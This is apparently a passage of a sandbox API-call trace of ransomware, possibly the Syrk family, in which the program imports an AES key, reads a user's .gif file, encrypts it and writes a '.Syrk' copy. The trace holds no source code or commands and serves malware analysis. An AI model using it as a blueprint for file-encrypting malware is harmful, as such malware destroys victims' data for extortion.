OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.711] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0254.711] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0254.711] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.711] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0254.711] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.711] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0254.711] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.712] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0254.712] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0254.712] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.712] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0254.712] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.712] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0254.712] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.712] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0254.712] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0254.713] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.713] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0254.713] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0254.713] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.713] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0254.713] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.713] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0254.713] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.714] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0254.714] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0254.714] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0254.714] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.715] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0254.715] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0254.715] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.715] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0254.715] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.715] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0254.715] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.715] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0254.715] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0254.716] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.716] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0254.716] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0254.716] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.716] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0254.716] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.716] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0254.716] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.717] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0254.717] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0254.717] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.717] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0254.717] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.717] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0254.717] SystemFunction041 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.718] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0254.718] SystemFunction040 (in: Memory=0x3af70c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af70c) returned 0x0 [0254.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.718] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0254.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0254.719] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0254.719] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0254.719] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.719] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0254.719] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.719] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0254.719] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0254.720] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0254.720] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.720] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.720] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.720] EtwEventActivityIdControl () returned 0x0 [0254.720] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0254.720] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.721] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0254.721] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0254.723] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0254.724] CryptImportKey (in: hProv=0x5c4d210, pbData=0x24faccc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c998a0) returned 1 [0254.724] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.725] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.725] EtwEventActivityIdControl () returned 0x0 [0254.725] EtwEventActivityIdControl () returned 0x0 [0254.725] EtwEventActivityIdControl () returned 0x0 [0254.731] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 0x20 [0254.732] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 0x20 [0254.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.732] EtwEventActivityIdControl () returned 0x0 [0254.733] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.733] EtwEventActivityIdControl () returned 0x0 [0254.733] EtwEventActivityIdControl () returned 0x0 [0254.733] EtwEventActivityIdControl () returned 0x0 [0254.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.735] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0254.735] GetFileType (hFile=0x364) returned 0x1 [0254.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.735] GetFileType (hFile=0x364) returned 0x1 [0254.735] EtwEventActivityIdControl () returned 0x0 [0254.735] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.736] EtwEventActivityIdControl () returned 0x0 [0254.736] EtwEventActivityIdControl () returned 0x0 [0254.736] EtwEventActivityIdControl () returned 0x0 [0254.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0254.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk", lpFilePart=0x0) returned 0x34 [0254.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.737] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0254.738] GetFileType (hFile=0x368) returned 0x1 [0254.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.738] GetFileType (hFile=0x368) returned 0x1 [0254.738] EtwEventActivityIdControl () returned 0x0 [0254.738] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x250b1e0 | out: pbBuffer=0x250b1e0) returned 1 [0254.739] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.740] CryptDuplicateKey (in: hKey=0x5c998a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99720) returned 1 [0254.740] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.740] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x4, pbData=0x250c50c*=0x1, dwFlags=0x0) returned 1 [0254.740] CryptSetKeyParam (hKey=0x5c99720, dwParam=0x1, pbData=0x250c4d8, dwFlags=0x0) returned 1 [0254.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.740] EtwEventActivityIdControl () returned 0x0 [0254.740] EtwEventActivityIdControl () returned 0x0 [0254.740] EtwEventActivityIdControl () returned 0x0 [0254.741] EtwEventActivityIdControl () returned 0x0 [0254.742] ReadFile (in: hFile=0x364, lpBuffer=0x250f154, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250f154*, lpNumberOfBytesRead=0x5a2e7d8*=0xb2cd, lpOverlapped=0x0) returned 1 [0254.743] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252316c*, pdwDataLen=0x5a2e7cc*=0xb2c0, dwBufLen=0xb2c0 | out: pbData=0x252316c*, pdwDataLen=0x5a2e7cc*=0xb2c0) returned 1 [0254.744] WriteFile (in: hFile=0x368, lpBuffer=0x250b2bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250b2bc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0254.745] WriteFile (in: hFile=0x368, lpBuffer=0x2524158*, nNumberOfBytesToWrite=0xa2d4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2524158*, lpNumberOfBytesWritten=0x5a2e7b0*=0xa2d4, lpOverlapped=0x0) returned 1 [0254.746] ReadFile (in: hFile=0x364, lpBuffer=0x250f154, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250f154*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0254.746] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252e438*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x252e438*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0254.746] CryptEncrypt (in: hKey=0x5c99720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x252e454*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x252e454*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0254.747] WriteFile (in: hFile=0x368, lpBuffer=0x250b2bc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250b2bc*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0254.747] CloseHandle (hObject=0x368) returned 1 [0254.748] CloseHandle (hObject=0x364) returned 1 [0254.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.749] EtwEventActivityIdControl () returned 0x0 [0254.749] EtwEventActivityIdControl () returned 0x0 [0254.749] EtwEventActivityIdControl () returned 0x0 [0254.755] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tbnewownjmnlih-.gif")) returned 0x20 [0254.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0254.757] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\tBNEwownJMNLIH-.gif", lpFilePart=0x0) returned 0x2f [0254.758] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.758] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.758] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0254.758] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0254.758] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.758] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.758] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 